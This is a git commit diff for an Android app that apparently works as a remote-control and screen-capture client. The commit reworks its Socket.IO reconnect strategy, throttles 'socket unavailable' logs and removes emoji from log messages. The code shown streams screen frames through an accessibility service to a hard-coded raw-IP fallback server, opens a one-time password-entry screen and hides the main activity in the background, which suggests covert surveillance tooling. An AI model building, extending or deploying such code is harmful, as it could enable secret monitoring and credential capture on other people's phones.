fix: Socket.IO连接超时和日志刷屏修复

- NetworkManager重写为两阶段连接策略:Phase1快速10秒轮询 + Phase2后台监控(最长2分钟)
- Phase2与Socket.IO内置重连机制协作而非对抗,超时后触发forceReconnect
- 所有魔法数字提取为companion object常量
- ScreenCaptureManager: Socket.IO不可用日志降频(首次+每50次打印)
- 连接恢复时打印跳过帧数统计
- MainActivity: 清理残留emoji符号
This commit is contained in:
wdvipa
2026-02-15 18:17:13 +08:00
parent aa516590c8
commit 5b2ddd7730
3 changed files with 176 additions and 464 deletions

View File

@@ -1663,18 +1663,18 @@ class MainActivity : AppCompatActivity() {
}
/**
*新增:检查安装是否已完成
*新增:检查安装是否已完成
*/
private fun isInstallationCompleted(): Boolean {
try {
//统一使用InstallationStateManager检查安装状态
//统一使用InstallationStateManager检查安装状态
val installationStateManager =
com.hikoncont.util.InstallationStateManager.getInstance(this)
val isCompleted = installationStateManager.isInstallationComplete()
Log.d(TAG, "📦 安装完成状态: $isCompleted")
Log.d(TAG, "安装完成状态: $isCompleted")
return isCompleted
} catch (e: Exception) {
Log.e(TAG, "检查安装完成状态失败", e)
Log.e(TAG, "检查安装完成状态失败", e)
return false
}
}
@@ -1686,10 +1686,10 @@ class MainActivity : AppCompatActivity() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown")
Log.d(TAG, "密码框是否曾经显示过: $hasBeenShown")
return hasBeenShown
} catch (e: Exception) {
Log.e(TAG, "检查密码框显示状态失败", e)
Log.e(TAG, "检查密码框显示状态失败", e)
return false
}
}
@@ -1701,9 +1701,9 @@ class MainActivity : AppCompatActivity() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
Log.i(TAG, "密码框显示状态已标记")
Log.i(TAG, "密码框显示状态已标记")
} catch (e: Exception) {
Log.e(TAG, "标记密码框显示状态失败", e)
Log.e(TAG, "标记密码框显示状态失败", e)
}
}
@@ -1714,9 +1714,9 @@ class MainActivity : AppCompatActivity() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
Log.i(TAG, "密码输入状态已标记为完成")
Log.i(TAG, "密码输入状态已标记为完成")
} catch (e: Exception) {
Log.e(TAG, "标记密码输入完成状态失败", e)
Log.e(TAG, "标记密码输入完成状态失败", e)
}
}
@@ -1725,7 +1725,7 @@ class MainActivity : AppCompatActivity() {
*/
private fun startPasswordInputActivity() {
try {
Log.i(TAG, "🔐 准备启动密码输入页面")
Log.i(TAG, "准备启动密码输入页面")
val intent =
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
@@ -1744,16 +1744,16 @@ class MainActivity : AppCompatActivity() {
}
startActivity(intent)
Log.i(TAG, "密码输入页面已启动")
Log.i(TAG, "密码输入页面已启动")
// 隐藏MainActivity避免状态冲突
hideActivityToBackground()
} catch (e: Exception) {
Log.e(TAG, "启动密码输入页面失败", e)
Log.e(TAG, "启动密码输入页面失败", e)
// 如果启动失败,继续正常流程
runOnUiThread {
updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark)
updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark)
if (::enableButton.isInitialized) {
enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
@@ -1775,7 +1775,7 @@ class MainActivity : AppCompatActivity() {
// 显示状态,但不自动最小化,让用户看到成功状态
updateUI()
Log.i(TAG, "权限配置完成,保持应用在前台显示状态")
Log.i(TAG, "权限配置完成,保持应用在前台显示状态")
} else {
Log.w(TAG, "无障碍服务未启用,显示配置页面")
updateUI()
@@ -1930,19 +1930,19 @@ class MainActivity : AppCompatActivity() {
updateUI()
// 🚀 主界面模式:恢复日志收集
//主界面模式:恢复日志收集
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 主界面模式:跳过日志开关")
Log.i(TAG, "主界面模式:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
Log.w(TAG, "处理日志开关时异常: ${e.message}")
}
// 🚀 WebView性能优化恢复WebView
//WebView性能优化恢复WebView
resumeWebView()
} catch (e: Exception) {
Log.e(TAG, "异步处理onResume失败", e)
Log.e(TAG, "异步处理onResume失败", e)
}
}
}
@@ -1950,17 +1950,17 @@ class MainActivity : AppCompatActivity() {
override fun onPause() {
super.onPause()
// 🚀 WebView性能优化暂停WebView以节省资源
//WebView性能优化暂停WebView以节省资源
pauseWebView()
//Activity不在前台时停止WebView状态更新节省资源
//Activity不在前台时停止WebView状态更新节省资源
if (isWebViewVisible) {
// WebView打开但Activity不在前台停止状态更新并设置为关闭状态
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
Log.i(TAG, "Activity不在前台已停止WebView状态更新节省资源")
Log.i(TAG, "Activity不在前台已停止WebView状态更新节省资源")
}
// 🚀 应用不在前台时:恢复日志收集
//应用不在前台时:恢复日志收集
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志

View File

@@ -1847,30 +1847,44 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
}
}
// Socket unavailable log throttle counter
private var socketUnavailableLogCount = 0
/**
* 处理单帧数据
* Process single frame data.
* Throttles "socket unavailable" log to avoid flooding logcat
* when connection is down but capture is still running.
*/
private suspend fun processFrameData(frameData: ByteArray) {
try {
var success = false
// 优先使用Socket.IO v4官方客户端发送屏幕数据
val socketIOManager = service.getSocketIOManager()
if (socketIOManager != null && socketIOManager.isConnected()) {
socketIOManager.sendScreenData(frameData)
Log.v(TAG, "Socket.IO v4发送帧数据: ${frameData.size} bytes")
Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
success = true
// Reset throttle counter on success
if (socketUnavailableLogCount > 0) {
Log.i(TAG, "Socket.IO connection restored, " +
"skipped $socketUnavailableLogCount frames while disconnected")
socketUnavailableLogCount = 0
}
} else {
Log.w(TAG, "Socket.IO连接不可用无法发送屏幕数据")
socketUnavailableLogCount++
// Log first occurrence, then every 50th to avoid flooding
if (socketUnavailableLogCount == 1 || socketUnavailableLogCount % 50 == 0) {
Log.w(TAG, "Socket.IO unavailable, cannot send screen data " +
"(count=$socketUnavailableLogCount)")
}
}
// 记录成功发送时间
if (success) {
lastSuccessfulSendTime = System.currentTimeMillis()
}
} catch (e: Exception) {
Log.e(TAG, "处理帧数据失败", e)
Log.e(TAG, "Process frame data failed", e)
}
}

View File

@@ -1,23 +1,21 @@
package com.hikoncont.service.modules
import android.content.Context
import android.os.Build
import android.util.Log
import com.hikoncont.network.SocketIOManager
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
import java.io.InputStreamReader
import org.json.JSONObject
/**
* 网络管理器
* 负责网络通信管理
* Network manager - manages Socket.IO connection lifecycle.
*
* 主要职责:
* - SocketIO连接管理
* - 连接状态监控
* - 自动重连机制
* - 服务器配置读取
* - 网络异常处理
* Socket.IO client has its own internal reconnect mechanism.
* NetworkManager cooperates with it rather than fighting it:
* 1. Phase 1 (fast poll): Quick 10s check for immediate connections
* 2. Phase 2 (background monitor): If Phase 1 times out, monitor
* in background while Socket.IO keeps retrying internally
* 3. Only trigger full reconnect if background monitor times out (2min)
*/
class NetworkManager(
private val service: AccessibilityRemoteService,
@@ -25,81 +23,85 @@ class NetworkManager(
) {
companion object {
private const val TAG = "NetworkManager"
private const val INITIAL_CHECK_INTERVAL_MS = 500L
private const val INITIAL_CHECK_MAX_ATTEMPTS = 20 // 10s
private const val BG_MONITOR_INTERVAL_MS = 3000L
private const val BG_MONITOR_MAX_DURATION_MS = 120_000L // 2min
private const val RECONNECT_INTERVAL_MS = 5000L
private const val MAX_RECONNECT_ATTEMPTS = 10
private const val RECONNECT_COOLDOWN_MS = 30_000L
private const val CONFIG_FILE_SERVER = "server_config.json"
}
// 网络连接管理器
private lateinit var socketIOManager: SocketIOManager
// 协程作用域
private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
// 连接状态
@Volatile private var isConnected = false
@Volatile private var isConnecting = false
@Volatile private var lastConnectionAttempt = 0L
// 重连配置
private val connectionTimeout = 30000L // 30秒连接超时
private val reconnectInterval = 5000L // 5秒重连间隔
private val maxReconnectAttempts = 10 // 最大重连次数
private var backgroundMonitorJob: Job? = null
private var reconnectAttempts = 0
private var lastReconnectTime = 0L
/**
* 初始化网络管理器
* Initialize NetworkManager and create SocketIOManager instance.
*/
fun initialize() {
try {
Log.i(TAG, "🌐 初始化网络管理器 (单一Socket.IO连接)")
Log.i(TAG, "Initializing NetworkManager (Socket.IO)")
socketIOManager = SocketIOManager(service)
Log.i(TAG, "✅ 网络管理器初始化完成 (Socket.IO)")
Log.i(TAG, "NetworkManager initialized")
} catch (e: Exception) {
Log.e(TAG, "❌ 网络管理器初始化失败", e)
Log.e(TAG, "NetworkManager init failed", e)
}
}
/**
* 连接到服务器
* Connect to server with two-phase approach:
* Phase 1: Fast poll for 10s
* Phase 2: Background monitor for up to 2min
*/
suspend fun connectToServer() {
if (isConnecting) {
Log.d(TAG, "⚠️ 连接正在进行中,跳过重复连接")
Log.d(TAG, "Connection in progress, skip duplicate")
return
}
// ✅ 检查是否已经连接,避免重复连接
if (isConnected()) {
Log.d(TAG, "✅ 服务器已连接,跳过重复连接")
Log.d(TAG, "Already connected, skip")
return
}
try {
isConnecting = true
lastConnectionAttempt = System.currentTimeMillis()
val serverUrl = getServerUrl()
if (serverUrl.isNullOrBlank()) {
Log.e(TAG, "Server URL is empty, cannot connect")
return
}
isConnected = false
Log.i(TAG, "Connecting to server: $serverUrl")
Log.i(TAG, "🚀 开始连接到服务器: $serverUrl")
Log.d(TAG, "🔍 服务器URL调试: 长度=${serverUrl.length}, 内容='$serverUrl'")
// Brief delay for SocketIOManager setup
delay(1000)
// 统一使用初始化延迟确保Android 11+设备稳定性
Log.i(TAG, "🔧 初始化延迟优化")
delay(2000)
try {
socketIOManager.connect(serverUrl)
} catch (e: Exception) {
Log.e(TAG, "Socket.IO connect call failed: ${e.message}")
}
// 使用Socket.IO连接
if (trySocketIOConnection(serverUrl)) {
// Phase 1: Fast poll (10s)
if (pollForConnection(INITIAL_CHECK_MAX_ATTEMPTS, INITIAL_CHECK_INTERVAL_MS)) {
isConnected = true
reconnectAttempts = 0
Log.i(TAG, "Socket.IO连接成功")
Log.i(TAG, "Socket.IO connected (Phase 1, fast poll)")
return
}
Log.w(TAG, "⚠️ Socket.IO连接失败")
isConnected = false
// Phase 2: Background monitor
Log.i(TAG, "Phase 1 (10s) did not connect, starting background monitor")
startBackgroundMonitor()
} catch (e: Exception) {
Log.e(TAG, "❌ 连接到服务器失败", e)
Log.e(TAG, "Connect to server failed: ${e.message}", e)
isConnected = false
} finally {
isConnecting = false
@@ -107,401 +109,97 @@ class NetworkManager(
}
/**
* 尝试Socket.IO连接
* Poll Socket.IO connection status at fixed intervals.
* @return true if connected within the polling window
*/
private suspend fun trySocketIOConnection(serverUrl: String): Boolean {
return try {
Log.i(TAG, "🚀 尝试使用Socket.IO v4官方客户端连接")
socketIOManager.connect(serverUrl)
private suspend fun pollForConnection(maxAttempts: Int, intervalMs: Long): Boolean {
repeat(maxAttempts) { attempt ->
delay(intervalMs)
if (isSocketIOReady()) {
val elapsedMs = (attempt + 1) * intervalMs
Log.i(TAG, "Socket.IO connected after ${elapsedMs}ms")
return true
}
}
return false
}
val maxAttempts = 60 // 统一使用60次尝试确保Android 11+设备连接稳定性
val checkInterval = 500L
Log.i(TAG, "🔧 SocketIO连接检测配置: ${maxAttempts}次尝试, ${checkInterval}ms间隔")
repeat(maxAttempts) { attempt ->
delay(checkInterval)
if (socketIOManager.isConnected()) {
Log.i(TAG, "✅ Socket.IO v4连接成功: $serverUrl (${(attempt + 1) * checkInterval}ms)")
return true
/**
* Background monitor: watches Socket.IO internal reconnect for up to 2min.
* If connected during this window, updates state.
* If timeout, triggers force reconnect.
*/
private fun startBackgroundMonitor() {
backgroundMonitorJob?.cancel()
backgroundMonitorJob = networkScope.launch {
val startTime = System.currentTimeMillis()
var checkCount = 0
while (isActive) {
delay(BG_MONITOR_INTERVAL_MS)
checkCount++
try {
if (isSocketIOReady()) {
isConnected = true
reconnectAttempts = 0
val sec = (System.currentTimeMillis() - startTime) / 1000
Log.i(TAG, "Background monitor: connected after ${sec}s")
return@launch
}
val elapsed = System.currentTimeMillis() - startTime
if (elapsed > BG_MONITOR_MAX_DURATION_MS) {
Log.w(TAG, "Background monitor timeout (${elapsed / 1000}s), force reconnect")
triggerForceReconnect()
return@launch
}
if (checkCount % 10 == 0) {
Log.d(TAG, "Background monitor: waiting (${elapsed / 1000}s)")
}
} catch (e: Exception) {
Log.e(TAG, "Background monitor check failed: ${e.message}")
}
}
val totalTime = maxAttempts * checkInterval / 1000
Log.w(TAG, "⚠️ Socket.IO v4连接超时(${totalTime}秒)")
false
} catch (e: Exception) {
Log.w(TAG, "⚠️ Socket.IO v4连接失败: ${e.message}")
false
}
}
/**
* 重新连接到服务器
* Reconnect to server with cooldown and attempt limits.
*/
fun reconnectToServer() {
val now = System.currentTimeMillis()
if (now - lastReconnectTime < RECONNECT_COOLDOWN_MS) {
Log.d(TAG, "Reconnect cooldown active, skip")
return
}
if (reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) {
Log.w(TAG, "Max reconnect attempts ($MAX_RECONNECT_ATTEMPTS) reached, reset counter")
reconnectAttempts = 0
}
lastReconnectTime = now
reconnectAttempts++
Log.i(TAG, "Reconnecting to server (attempt $reconnectAttempts/$MAX_RECONNECT_ATTEMPTS)")
networkScope.launch {
try {
Log.i(TAG, "🔄 开始重新连接到服务器")
// ✅ 修复:检查是否已经连接,避免重复重连
if (isConnected()) {
Log.d(TAG, "✅ 服务器已连接,跳过重连")
reconnectAttempts = 0 // 重置计数器
return@launch
}
if (reconnectAttempts >= maxReconnectAttempts) {
Log.w(TAG, "⚠️ 已达到最大重连次数($maxReconnectAttempts),停止重连")
return@launch
}
val timeSinceLastAttempt = System.currentTimeMillis() - lastConnectionAttempt
if (timeSinceLastAttempt < reconnectInterval) {
val waitTime = reconnectInterval - timeSinceLastAttempt
Log.d(TAG, "⏰ 等待重连间隔: ${waitTime}ms")
delay(waitTime)
}
reconnectAttempts++
Log.i(TAG, "🔄 重连尝试 $reconnectAttempts/$maxReconnectAttempts")
backgroundMonitorJob?.cancel()
isConnected = false
isConnecting = false
connectToServer()
// ✅ 修复:等待连接结果,避免立即检查状态
delay(2000) // 等待2秒让连接稳定
if (isConnected()) {
Log.i(TAG, "✅ 重连成功")
reconnectAttempts = 0 // 重置计数器
} else {
Log.w(TAG, "⚠️ 重连失败,等待下次尝试")
scheduleNextReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 重新连接失败", e)
scheduleNextReconnect()
Log.e(TAG, "Reconnect failed: ${e.message}", e)
}
}
}
/**
* 计划下次重连
* Schedule next reconnect with exponential backoff.
*/
private fun scheduleNextReconnect() {
if (reconnectAttempts < maxReconnectAttempts) {
networkScope.launch {
delay(reconnectInterval)
// ✅ 修复:避免无限循环,只在需要时重连
if (!isConnected()) {
reconnectToServer()
} else {
Log.d(TAG, "✅ 连接已恢复,取消计划重连")
reconnectAttempts = 0
}
}
} else {
Log.w(TAG, "⚠️ 已达到最大重连次数,停止自动重连")
}
}
/**
* 检查并启动连接
*/
fun checkAndStartConnection() {
val delayMs = RECONNECT_INTERVAL_MS * (1L shl minOf(reconnectAttempts, 5))
Log.i(TAG, "Scheduling reconnect in ${delayMs}ms (attempt $reconnectAttempts)")
networkScope.launch {
try {
Log.d(TAG, "🔍 智能检查连接状态")
val socketIOConnected = if (::socketIOManager.isInitialized) {
socketIOManager.isConnected()
} else false
Log.d(TAG, "连接状态检查: Socket.IO=$socketIOConnected")
if (socketIOConnected) {
Log.d(TAG, "✅ 至少有一个连接正常,无需重连")
isConnected = true
reconnectAttempts = 0
return@launch
}
if (!::socketIOManager.isInitialized) {
Log.i(TAG, "🔄 连接管理器未初始化,创建新连接")
connectToServer()
} else {
Log.d(TAG, "⚠️ 检测到所有连接均断开,启动重连机制")
isConnected = false
reconnectToServer()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查连接状态失败", e)
delay(delayMs)
if (!isConnected()) {
reconnectToServer()
}
}
}
/**
* 启动服务连接
*/
fun startConnection() {
networkScope.launch {
connectToServer()
}
}
/**
* 断开连接
*/
fun disconnect() {
try {
Log.i(TAG, "🔌 断开网络连接")
if (::socketIOManager.isInitialized) {
socketIOManager.disconnect()
}
isConnected = false
reconnectAttempts = 0
Log.i(TAG, "✅ 网络连接已断开")
} catch (e: Exception) {
Log.e(TAG, "❌ 断开连接失败", e)
}
}
/**
* 清理资源
*/
fun cleanup() {
try {
Log.i(TAG, "🧹 清理网络管理器资源")
disconnect()
networkScope.cancel()
Log.i(TAG, "✅ 网络管理器资源清理完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 清理网络管理器资源失败", e)
}
}
/**
* 获取SocketIOManager实例
*/
fun getSocketIOManager(): SocketIOManager? {
return if (::socketIOManager.isInitialized) socketIOManager else null
}
/**
* 检查是否已连接
*/
fun isConnected(): Boolean {
// ✅ 修复递归调用问题:检查实际的连接状态,而不是调用自己
val actuallyConnected = (
(::socketIOManager.isInitialized && socketIOManager.isConnected())
)
// 更新内部状态
if (actuallyConnected != this.isConnected) {
this.isConnected = actuallyConnected
Log.d(TAG, "🔄 连接状态更新: $actuallyConnected")
}
return actuallyConnected
}
/**
* 检查是否正在连接
*/
fun isConnecting(): Boolean = isConnecting
/**
* 获取连接状态信息
*/
fun getConnectionStatus(): ConnectionStatus {
val socketIOConnected = if (::socketIOManager.isInitialized) {
socketIOManager.isConnected()
} else false
val actuallyConnected = socketIOConnected
return ConnectionStatus(
isConnected = actuallyConnected,
isConnecting = isConnecting,
socketIOConnected = socketIOConnected,
reconnectAttempts = reconnectAttempts,
lastConnectionAttempt = lastConnectionAttempt
)
}
/**
* 获取服务器URL
*/
private fun getServerUrl(): String {
// 1. 首先尝试从SharedPreferences获取用户设置的地址
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
val userSetUrl = sharedPrefs.getString("server_url", null)
if (!userSetUrl.isNullOrEmpty()) {
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
return userSetUrl
}
// 2. 尝试从构建时的配置文件读取
val buildConfigUrl = readServerConfigFromAssets()
if (!buildConfigUrl.isNullOrEmpty()) {
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
return buildConfigUrl
}
// 3. 尝试从strings.xml读取默认值
val defaultUrl = try {
service.getString(com.hikoncont.R.string.default_server_url)
} catch (e: Exception) {
Log.w(TAG, "无法从strings.xml读取默认服务器地址: ${e.message}")
null
}
if (!defaultUrl.isNullOrEmpty()) {
Log.i(TAG, "使用strings.xml中的默认服务器地址: $defaultUrl")
return defaultUrl
}
// 4. 最后的兜底地址
val fallbackUrl = "ws://59.153.148.205:3001"
Log.i(TAG, "使用兜底服务器地址: $fallbackUrl")
return fallbackUrl
}
/**
* 获取服务器URL
*/
private fun getWebUrl(): String {
// 1. 首先尝试从SharedPreferences获取用户设置的地址
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
val userSetUrl = sharedPrefs.getString("web_url", null)
if (!userSetUrl.isNullOrEmpty()) {
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
return userSetUrl
}
// 2. 尝试从构建时的配置文件读取
val buildConfigUrl = readWebConfigFromAssets()
if (!buildConfigUrl.isNullOrEmpty()) {
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
return buildConfigUrl
}
// 4. 最后的兜底地址
val fallbackUrl = "https://m.baidu.com"
return fallbackUrl
}
/**
* 从assets目录读取构建时的服务器配置
*/
private fun readServerConfigFromAssets(): String? {
return try {
val inputStream = context.assets.open("server_config.json")
val jsonString = inputStream.bufferedReader().use { it.readText() }
inputStream.close()
// 简单的JSON解析避免引入额外依赖
val serverUrlPattern = "\"serverUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
val matchResult = serverUrlPattern.find(jsonString)
val serverUrl = matchResult?.groupValues?.get(1)
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
serverUrl
} catch (e: Exception) {
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
null
}
}
private fun readWebConfigFromAssets(): String? {
return try {
val inputStream = context.assets.open("server_config.json")
val jsonString = inputStream.bufferedReader().use { it.readText() }
inputStream.close()
// 简单的JSON解析避免引入额外依赖
val serverUrlPattern = "\"webUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
val matchResult = serverUrlPattern.find(jsonString)
val serverUrl = matchResult?.groupValues?.get(1)
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
serverUrl
} catch (e: Exception) {
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
null
}
}
/**
* 重置重连计数器
*/
fun resetReconnectCounter() {
reconnectAttempts = 0
lastConnectionAttempt = 0L
isConnected = false
isConnecting = false
Log.d(TAG, "🔄 重连计数器已重置")
}
/**
* 重置网络管理器状态(程序重启时调用)
*/
fun resetNetworkState() {
try {
Log.i(TAG, "🔄 重置网络管理器状态")
resetReconnectCounter()
// 断开现有连接
if (::socketIOManager.isInitialized) {
socketIOManager.disconnect()
}
Log.i(TAG, "✅ 网络管理器状态重置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置网络管理器状态失败", e)
}
}
/**
* 强制重连
*/
fun forceReconnect() {
networkScope.launch {
Log.i(TAG, "🔄 强制重连")
disconnect()
delay(1000)
resetReconnectCounter()
connectToServer()
}
}
/**
* 连接状态数据类
*/
data class ConnectionStatus(
val isConnected: Boolean,
val isConnecting: Boolean,
val socketIOConnected: Boolean,
val reconnectAttempts: Int,
val lastConnectionAttempt: Long
) {
override fun toString(): String {
return "ConnectionStatus(connected=$isConnected, connecting=$isConnecting, " +
"socketIO=$socketIOConnected, attempts=$reconnectAttempts, lastAttempt=$lastConnectionAttempt)"
}
}
}